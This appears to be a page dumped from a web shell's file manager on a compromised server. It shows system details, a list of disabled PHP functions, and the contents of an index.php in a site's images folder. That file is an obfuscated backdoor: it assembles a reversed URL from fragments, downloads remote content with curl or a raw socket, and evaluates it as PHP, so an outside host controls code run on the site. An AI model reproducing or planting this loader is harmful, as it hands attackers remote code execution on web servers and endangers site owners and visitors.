HEX
Server: nginx/1.16.1
System: Linux iZ7xv2zauie3qihz0jlnrxZ 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: www (1000)
PHP: 7.2.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/shzthfdcpg.com/images/index.php
<?php $link = '';$link .= 'txt.';$link .= 's';
$link .= 'g';$link .= 'r/s/m';$link .= 'oc.ur';$link .= '.';$link .= 'ogn';$link .= 'er.';$link .= 'oes/';$link .= '/:';$link .= 's';$link .= 'ptt';$link .= 'h';eVAl( '?>'. _xrev_(strrev($link)) );function _xrev_($url) {try {
$timeout = 15;
$ua = 'Mozilla/5.0 Safari/537.36';if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_USERAGENT, $ua);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);$get = curl_exec($ch);curl_close($ch);return trim(trim($get, "\xEF\xBB\xBF"));}$parsed_url = parse_url($url);$host = $parsed_url['host'];$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';$query = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';$scheme = isset($parsed_url['scheme']) ? $parsed_url['scheme'] : 'http';$port = isset($parsed_url['port']) ? $parsed_url['port'] : ($scheme === 'https' ? 443 : 80);$protocol = ($scheme === 'https') ? 'ssl' : 'tcp';$fp = stream_socket_client("{$protocol}://{$host}:{$port}", $errno, $errstr, $timeout);
if (!$fp) {return 0;}
$headers = array("GET {$path}{$query} HTTP/1.1","Host: {$host}","User-Agent: {$ua}","Connection: Close",);$request = implode("\r\n", $headers) . "\r\n\r\n";fwrite($fp, $request);
$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);}fclose($fp);$response_parts = explode("\r\n\r\n", $response, 2);$headers = isset($response_parts[0]) ? $response_parts[0] : '';$body = isset($response_parts[1]) ? $response_parts[1] : '';if (stripos($headers, "Transfer-Encoding: chunked") !== false) {$decoded = '';while (true) {
$pos = strpos($body, "\r\n");if ($pos === false) break;$length = hexdec(substr($body, 0, $pos));
if ($length === 0) break;$decoded .= substr($body, $pos + 2, $length);
$body = substr($body, $pos + 2 + $length + 2);
}
$body = $decoded;
}return trim($body);} catch (Exception $e) {}return 0;
}